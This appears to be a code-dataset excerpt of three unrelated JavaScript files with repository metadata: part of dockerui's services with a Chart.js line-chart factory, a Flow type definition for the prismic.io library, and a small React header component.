if ($('.gritter-item-wrapper').length === 4) {
return false;
}
}
});
}
};
}])
.factory('LineChart', ['Settings', function LineChartFactory(Settings) {
'use strict';
return {
build: function (id, data, getkey) {
var chart = new Chart($(id).get(0).getContext("2d"));
var map = {};
for (var i = 0; i < data.length; i++) {
var c = data[i];
var key = getkey(c);
var count = map[key];
if (count === undefined) {
count = 0;
}
count += 1;
map[key] = count;
}
var labels = [];
data = [];
var keys = Object.keys(map);
var max = 1;
for (i = keys.length - 1; i > -1; i--) {
var k = keys[i];
labels.push(k);
data.push(map[k]);
if (map[k] > max) {
max = map[k];
}
}
var steps = Math.min(max, 10);
var dataset = {
fillColor: "rgba(151,187,205,0.5)",
strokeColor: "rgba(151,187,205,1)",
pointColor: "rgba(151,187,205,1)",
pointStrokeColor: "#fff",
data: data
};
chart.Line({
labels: labels,
datasets: [dataset]
},
{
scaleStepWidth: Math.ceil(max / steps),
pointDotRadius: 1,
scaleIntegersOnly: true,
scaleOverride: true,
scaleSteps: steps
});
}
};
}]);
| crosbymichael/dockerui | app/shared/services.js | JavaScript | mit | 11,646 |
declare module 'prismic.io' {
declare type LinkResolver = (doc: Document) => string;
declare type DaysOfWeek =
| 'Monday'
| 'Tuesday'
| 'Wednesday'
| 'Thursday'
| 'Friday'
| 'Saturday'
| 'Sunday';
declare type Month =
| 'January'
| 'February'
| 'March'
| 'April'
| 'May'
| 'June'
| 'July'
| 'August'
| 'September'
| 'October'
| 'November'
| 'December';
declare class Htmlable {
asHtml(resolver?: LinkResolver) : string;
}
declare type $Htmlable = Htmlable;
declare class Textable {
asText(resolver?: LinkResolver) : string;
}
declare type $Textable = Textable;
declare class Urlable {
url(resolver?: LinkResolver) : string;
}
declare type $Urlable = Urlable;
declare class Text mixins Htmlable, Textable {
constructor(data: string) : void;
value: string;
}
declare type $Text = Text;
declare class DocumentLink extends WithFragments mixins Urlable {
constructor(data: Object) : void;
document: Object;
id: string;
uid: ?string;
tags: Array<string>;
slug: string;
type: string;
fragments: Array<Object>;
isBroken: boolean;
}
declare type $DocumentLink = DocumentLink;
declare class WebLink mixins Htmlable, Textable, Urlable {
constructor(data: Object) : void;
value: Object;
}
declare type $WebLink = WebLink;
declare class FileLink mixins Htmlable, Textable, Urlable {
constructor(data: Object) : void;
value: Object;
}
declare type $FileLink = FileLink;
declare class ImageLink mixins Htmlable, Textable, Urlable {
constructor(data: Object) : void;
value: Object;
}
declare type $ImageLink = ImageLink;
declare class Select mixins Htmlable, Textable {
constructor(data: string) : void;
value: string;
}
declare type $Select = Select;
declare class Color mixins Htmlable, Textable {
constructor(data: Object) : void;
value: Object;
}
declare type $Color = Color;
declare class GeoPoint mixins Htmlable, Textable {
constructor(data: Object) : void;
latitude: number;
longitude: number;
}
declare type $GeoPoint = GeoPoint;
declare class Num mixins Htmlable, Textable {
constructor(data: number) : void;
value: number;
}
declare type $Num = Num;
declare class DateFragment mixins Htmlable, Textable {
constructor(data: string) : void;
value: Date;
}
declare type $DateFragment = DateFragment;
declare class Timestamp mixins Htmlable, Textable {
constructor(data: string) : void;
value: Date;
}
declare type $Timestamp = Timestamp;
declare class Embed mixins Htmlable, Textable {
constructor(data: Object) : void;
value: Object;
}
declare type $Embed = Embed;
declare class ImageView mixins Htmlable, Textable {
constructor(url: string, width: number, height: number, alt: string) : void;
url: string;
width: number;
height: number;
alt: string;
ratio() : number;
}
declare type $ImageView = ImageView;
declare type ImageViews = { [key: string] : ImageView, ... };
declare class ImageEl mixins Htmlable, Textable {
constructor(main: ImageView, views: ?ImageViews) : void;
main: ImageView;
url: string;
views: ImageViews;
getView(name: string) : ?ImageView;
}
declare type $ImageEl = ImageEl;
declare class Separator mixins Htmlable, Textable { }
declare type $Separator = Separator;
declare class GroupDoc extends WithFragments {
constructor(data: Object) : void;
data: Object;
fragments: Array<Object>;
}
declare type $GroupDoc = GroupDoc;
declare class Group mixins Htmlable, Textable {
constructor(data: Array<Object>) : void;
value: Array<GroupDoc>;
toArray() : Array<GroupDoc>;
getFirstImage() : ?ImageEl;
getFirstTitle() : ?StructuredText;
getFirstParagraph() : ?StructuredText;
}
declare type $Group = Group;
declare type HtmlSerializer = (element : Object, content : ?string) => ?string;
declare class StructuredText mixins Htmlable, Textable {
constructor(blocks: Array<Object>) : void;
blocks: Array<Object>;
getTitle() : ?StructuredText;
getFirstParagraph() : ?StructuredText;
getParagraphs() : Array<StructuredText>;
getParagraph(n: number) : StructuredText;
getFirstImage() : ?ImageView;
// StructuredText has an extended custom version of asHtml that allows
// you to provide an htmlSerializer
// @see https://prismic.io/docs/fields/structuredtext#integrate?lang=javascript
asHtml(resolver?: LinkResolver, serializer?: HtmlSerializer) : string;
}
declare type $StructuredText = StructuredText;
declare class Slice mixins Htmlable, Textable {
constructor(sliceType: string, label: string, value: Object) : void;
sliceType: string;
label: string;
value: Object;
getFirstImage() : ?ImageEl;
getFirstTitle() : ?StructuredText;
getFirstParagraph() : ?StructuredText;
}
declare type $Slice = Slice;
declare class SliceZone mixins Htmlable, Textable {
constructor(data: Array<Object>) : void;
value: Array<Slice>;
slices: Array<Slice>;
getFirstImage() : ?ImageEl;
getFirstTitle() : ?StructuredText;
getFirstParagraph() : ?StructuredText;
}
declare type $SliceZone = SliceZone;
declare class WithFragments mixins Htmlable, Textable {
get(name: string) : ?Object;
getAll(name: string) : Array<Object>;
getImage(name: string) : ?ImageEl;
getAllImages(fragment: Object) : Array<ImageEl>;
getFirstImage() : ?ImageEl;
getFirstTitle() : ?StructuredText;
getFirstParagraph() : ?StructuredText;
getImageView(name: string, view: string) : ?ImageView;
getAllImageViews(name: string, view: string) : Array<ImageView>;
getTimestamp(name: string) : ?Date;
getDate(name: string) : ?Date;
getBoolean(name: string) : boolean;
getText(name: string, after: ?string) : ?string;
getStructuredText(name: string) : ?StructuredText;
getLink(name: string) : null | DocumentLink | WebLink | ImageLink | FileLink;
getNumber(name: string) : ?number;
getColor(name: string) : ?string;
getGeoPoint(name: string) : ?GeoPoint;
getGroup(name: string) : ?Group;
getHtml(name: string, resolver?: LinkResolver) : string;
linkedDocuments() : Array<DocumentLink>;
getSliceZone(name: string) : ?SliceZone;
}
declare class Document extends WithFragments {
constructor(id: string, uid: ?string, type: string, href: string, tags: Array<string>, slugs: Array<string>, data: Object) : void;
id: string;
uid: ?string;
type: string;
href: string;
tags: Array<string>;
slug: string;
slugs: Array<string>;
data: Object;
}
declare type $Document = Document;
declare type Fragments = {
Embed: Embed,
Image: ImageEl,
ImageView: ImageView,
Text: Text,
Number: Num,
Date: DateFragment,
Timestamp: Timestamp,
Select: Select,
Color: Color,
StructuredText: StructuredText,
WebLink: WebLink,
DocumentLink: DocumentLink,
ImageLink: ImageLink,
FileLink: FileLink,
Separator: Separator,
Group: Group,
GeoPoint: GeoPoint,
Slice: Slice,
SliceZone: SliceZone,
...
}
declare type PredicateQuery = Array<string>;
declare class Predicates {
toQuery(predicate: Object) : string;
at(fragment: string, value: number | string) : PredicateQuery;
not(fragment: string, value: number | string) : PredicateQuery;
missing(fragment: string) : PredicateQuery;
has(fragment: string) : PredicateQuery;
any(fragment: string, values: Array<number | string>) : PredicateQuery;
in(fragment: string, values: Array<string>) : PredicateQuery;
fulltext(fragment: string, value: string) : PredicateQuery;
similar(documentId: string, maxResults: number) : PredicateQuery;
gt(fragment: string, value: number) : PredicateQuery;
lt(fragment: string, value: number) : PredicateQuery;
inRange(fragment: string, before: number, after: number) : PredicateQuery;
dateBefore(fragment: string, before: Date) : PredicateQuery;
dateAfter(fragment: string, before: Date) : PredicateQuery;
dateBetween(fragment: string, before: Date, after: Date) : PredicateQuery;
dayOfMonth(fragment: string, day: number) : PredicateQuery;
dayOfMonthAfter(fragment: string, day: number) : PredicateQuery;
dayOfMonthBefore(fragment: string, day: number) : PredicateQuery;
dayOfWeek(fragment: string, day: number | DaysOfWeek) : PredicateQuery;
dayOfWeekAfter(fragment: string, day: number | DaysOfWeek) : PredicateQuery;
dayOfWeekBefore(fragment: string, day: number | DaysOfWeek) : PredicateQuery;
month(fragment: string, month: number | Month) : PredicateQuery;
monthBefore(fragment: string, month: number | Month) : PredicateQuery;
monthAfter(fragment: string, month: number | Month) : PredicateQuery;
year(fragment: string, year: number) : PredicateQuery;
hour(fragment: string, hour: number) : PredicateQuery;
hourBefore(fragment: string, hour: number) : PredicateQuery;
hourAfter(fragment: string, hour: number) : PredicateQuery;
near(fragment: string, latitude: number, longitude: number, radius: number) : PredicateQuery;
}
declare class Response {
constructor(page: number, results_per_page: number, results_size: number, total_results_size: number, total_pages: number, next_page: number, prev_page: number, results: Array<Document>) : void;
page: number;
results_per_page: number;
results_size: number;
total_results_size: number;
total_pages: number;
next_page: number;
prev_page: number;
results: Array<Document>;
}
declare type $Response = Response;
declare class SearchForm {
constructor(context: Object, form: Object, data: ?Object) : void;
set(field: string, value: string) : this;
ref(ref: string) : this;
query(...queries: Array<PredicateQuery>) : this;
pageSize(size: number) : this;
fetch(fields: string | Array<string>) : this;
fetchLinks(fields: string | Array<string>) : this;
page(p: number) : this;
orderings(p: Array<string>) : this;
submit() : Promise<Response>;
}
declare type $SearchForm = SearchForm;
declare type APIOptions = {
accessToken?: string,
req?: any,
apiCache?: any,
requestHandler?: any,
apiDataTTL?: number,
...
}
declare class API {
constructor(url: string, options: ?APIOptions) : void;
get() : Promise<any>;
refresh() : Promise<any>;
form(formId: string) : SearchForm;
master() : string,
ref(label: string) : string;
currentExperiment() : any;
query(q: PredicateQuery | Array<PredicateQuery>, options: Object) : Promise<Response>;
getByID(id: string, options: Object) : Promise<?Document>;
getByIDs(ids: Array<string>, options: Object) : Promise<Array<Document>>;
getByUID(type: string, uid: string, options: Object) : Promise<?Document>;
getBookmark(bookmark: string, options: Object) : Promise<?Document>;
previewSession(token: string, resolver: LinkResolver, defaultUrl: string) : Promise<string>;
request(url: string, callback: (err: any, resp: Response) => void) : void;
response(documents: Array<Object>) : Response;
}
declare type $API = API;
declare type getAPI = (url: string, options: ?APIOptions) => Promise<API>;
declare type Prismic = {
experimentCookie: string,
previewCookie: 'io.prismic.preview',
Document: Document,
SearchForm: SearchForm,
// I think this is for Prismic's internal mainly.
Form: any,
// I think this is for Prismic's internal mainly.
Experiments: any,
Predicates: Predicates,
Fragments: Fragments,
api: getAPI,
Api: getAPI,
parseDoc: (json: Object) => Document,
...
}
declare module.exports: Prismic;
}
| splodingsocks/FlowTyped | definitions/npm/prismic.io_v3.x.x/flow_v0.104.x-/prismic.io_v3.x.x.js | JavaScript | mit | 11,933 |
import React from 'react'
import NewNoteModal from './NewNoteModal'
import logo from '../logo.png'
import '../styles/Header.css'
class Header extends React.Component {
render() {
const {...props} = this.props
return (
<div className="Header">
<div className="Header-logo">
<img src={logo} alt="logo" />
<b>IDEA JOURNAL</b>
</div>
<NewNoteModal {...props} />
</div>
)
}
}
export default Header
| msd-code-academy/lessons | lesson-2/idea-journal/src/components/Header.js | JavaScript | mit | 436 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.